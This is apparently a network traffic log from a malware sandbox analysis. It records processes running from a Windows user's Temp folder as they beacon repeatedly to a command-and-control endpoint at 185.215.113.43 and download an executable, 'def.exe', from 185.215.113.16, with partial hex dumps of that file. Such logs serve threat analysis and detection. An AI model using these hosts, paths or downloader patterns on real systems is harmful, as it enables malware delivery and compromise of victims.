Nov 23, 2024 03:22:05.562903881 CET	1349	OUT	Data Raw: 87 07 f4 e9 f7 00 f8 49 16 0e 4a 91 f0 d4 25 3a 0d b8 5f db de b2 ad 79 08 d4 2c 2f 8c 40 72 e8 c7 72 20 4d 81 31 64 0a f7 42 2c 57 26 24 3e 50 4d b8 d7 29 0b 47 a4 70 e9 12 6f 4e 4c b8 f9 2f 08 c9 d6 19 b6 a4 c4 7d d5 ab d7 a5 37 11 52 ff a8 24 Data Ascii: IJ%:_y,/@rr M1dB,W&$>PM)GpoNL/}7R$1-]fZu!E:OXZ]SzqOf=)A:ani<i_EsH%$3?g/Q& `;y@_:w`&(}ZeWq"b>q >V_jP}}"1G
Nov 23, 2024 03:22:07.009808064 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 02:22:06 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49950	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:05.699079037 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:22:07.081286907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49951	185.215.113.16	80	2132	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:06.012268066 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 03:22:07.398319960 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:07 GMT Content-Type: application/octet-stream Content-Length: 2726400 Last-Modified: Sat, 23 Nov 2024 01:51:40 GMT Connection: keep-alive ETag: "6741352c-299a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 96 c5 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ @)`Ui` @ @.rsrc`2@.idata 8@sazuwdld@)8):@giqmsvmy )r)@.taggant@"x)@
Nov 23, 2024 03:22:07.398426056 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:07.398560047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:07.398614883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:07.398624897 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:07.399013042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:07.399054050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:07.399063110 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:07.399420977 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:07.399527073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:07.518126965 CET	1236	IN	Data Raw: f3 78 ec c5 ec be 29 72 c8 de 9f db 29 c9 d7 be 9e 2e 3d aa 8d 85 e3 d9 1e c3 04 a1 18 d3 90 d4 2f 94 36 97 0d b4 c3 f3 d4 b2 6c bd c4 c1 c3 a4 8d ae 12 ab fb 3d 28 90 c2 9e 08 16 80 b8 92 9f 92 af cf 67 c9 9e 0b f6 61 cb f9 17 80 b8 92 01 93 a3 Data Ascii: x)r).=/6l=(ga%oO.?p+iXE2'}N*#^<K"Ae (1<.&9e,<h(xZIf0'.9.V2q4w&B(Aec%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49960	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:08.725677013 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:22:10.106292009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49968	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:12.118585110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:22:13.405658960 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49975	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:15.070337057 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:22:16.502577066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49985	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:18.262574911 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:22:19.654330969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49993	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:21.386344910 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:22:22.822067976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50009	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:24.624845982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:22:25.960026026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50014	185.215.113.16	80	7528	C:\Users\user\AppData\Local\Temp\1008327001\2235d4f703.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:25.816243887 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 23, 2024 03:22:27.188146114 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:26 GMT Content-Type: application/octet-stream Content-Length: 2726400 Last-Modified: Sat, 23 Nov 2024 01:51:40 GMT Connection: keep-alive ETag: "6741352c-299a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2a 00 00 04 00 00 96 c5 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ @)`Ui` @ @.rsrc`2@.idata 8@sazuwdld@)8):@giqmsvmy )r)@.taggant@"x)@
Nov 23, 2024 03:22:27.188175917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:27.188193083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:27.188290119 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:27.188306093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:27.188319921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:27.188334942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:27.188352108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 03:22:27.188375950 CET	1236	IN	Data Raw: fb 3d 28 90 c2 9e 08 16 80 b8 92 9f 92 af cf 67 c9 9e 0b f6 61 cb f9 17 80 b8 92 01 93 a3 cf 17 d5 9e 25 94 f0 6f 4f ae a3 e3 2e 3f b5 b0 ad b5 93 a7 84 16 70 9e b5 af af 89 2b e6 69 ac 58 e5 8a 45 12 97 32 b4 91 7f f2 c1 27 7d d3 a5 4e 2a 23 9b Data Ascii: =(ga%oO.?p+iXE2'}N*#^<K"Ae (1<.&9e,<h(xZIf0'.9.V2q4w&B(Aec%3O4 .T:8(`LWk ,K
Nov 23, 2024 03:22:27.188393116 CET	1236	IN	Data Raw: b8 ad 05 b3 9f b3 e4 ae 7b d3 24 d9 18 d0 aa 73 6b e9 da b9 03 59 c0 e3 39 e8 23 86 fa 7b d3 49 8b 8d 1d 26 8e f5 e8 41 82 1f 62 c6 ed 0c cb f8 70 39 d1 6c c8 3c ca e6 30 98 bc de fa d1 bc 5d 31 80 16 ec fa 14 dc 22 51 df 3a 65 d8 1f d1 94 ce 80 Data Ascii: {$skY9#{I&Abp9l<0]1"Q:ejv476?b[G7S4-A)$2%LH(!"4p77 "7M$/)~['#%&"h}o))"
Nov 23, 2024 03:22:27.307923079 CET	1236	IN	Data Raw: c0 11 3d 3c 05 b1 57 c4 c6 f1 37 b3 d7 91 f2 92 e3 40 45 08 d3 9d 8c be c5 0e 34 26 31 d1 ce f6 86 08 e4 a1 24 d5 7f 55 ea e2 c0 cd c9 5e 93 53 c7 bb 87 77 2d e4 e5 6e e8 c5 d3 6d 7a 66 bf cc e2 54 68 34 25 42 6a b1 02 15 dd 74 c2 f9 b3 bb 2c d5 Data Ascii: =<W7@E4&1$U^Sw-nmzfTh4%Bjt,[N}%9A6D1T`I~<!SP(.$x{7/T$aI5r-03jz!LdP,hm~:stj)d#'2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50021	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:27.680663109 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:22:29.108755112 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50037	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:30.867739916 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:22:32.470666885 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50047	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:34.100259066 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:22:35.538407087 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50062	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:22:37.346950054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:22:38.776576042 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:22:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50080	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
